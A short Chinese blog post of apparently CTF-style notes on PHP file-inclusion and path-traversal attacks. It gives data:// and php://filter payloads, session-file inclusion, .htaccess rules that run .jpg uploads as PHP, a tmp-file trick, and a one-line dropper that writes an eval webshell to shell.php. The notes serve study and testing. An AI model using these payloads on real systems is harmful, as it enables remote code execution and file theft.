test
发布于 2026-04-29 / 5 阅读
0
0

文件包含伪协议与任意文件读取

文件包含

data协议

伪装成文件的方式传输数据

data://[媒体类型];[编码方式],[数据]

data://text/plain;base64,aGVsbG8=

php://filter协议

将一个能被解析的文件以文本的方式输出

php://filter/[过滤器]/resource=[文件路径]

php://filter/convert.base64-encode/resource=flag.php

session文件包含

session是以键值对的方式存储数据,假如可以我们可以控制session的值,再通过文件包含包含session文件,即可实现rce

session文件目录 /tmp/sess_加上你的session值 或/var/lib/php/sessions/sess_加session值

自己自定义session文件名(就是改session值),上传文件,文件名字为一句话木马,使用文件包含包含session文件,实现rce

文件上传.htaccess文件

AddType application/x-httpd-php .jpg

<FilesMatch "03.jpg"> SetHandler application/x-httpd-php </FilesMatch>

<FilesMatch "\.(jpg|png)$">匹配全部jpg和png(推荐)

session文件包含(扩展)

tmp缓存文件

上传文件(没有上传点就自己构造)时会上传到tmp后做处理,处理完后删除文件。使用php://filter/string.strip_tags/resource=/etc/passwd会导致栈崩溃,就不会清理tmp缓存文件,漏洞范围php7。(同时进行)

php写入木马代码

<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

将<?php @eval($_POST[cmd]?>写入shell.php

w的作用:写入。文件存在清空内容重新写入,

任意文件读取

js路由任意文件读取

js路由目录拼接路径时没有过滤,使用../跳出路由指定的目录实现任意文件读取

--path-as-is:让 curl 不对 URL 中的 ../ 等路径进行规范化处理,即保留原始路径中的特殊字符(例如 .. 目录遍历符号),防止服务器或 curl 自动解析去掉它们

python路由任意文件读取

python路径拼接时,第二个参数是以/开头就会认为是根目录,以第二个参数为准


评论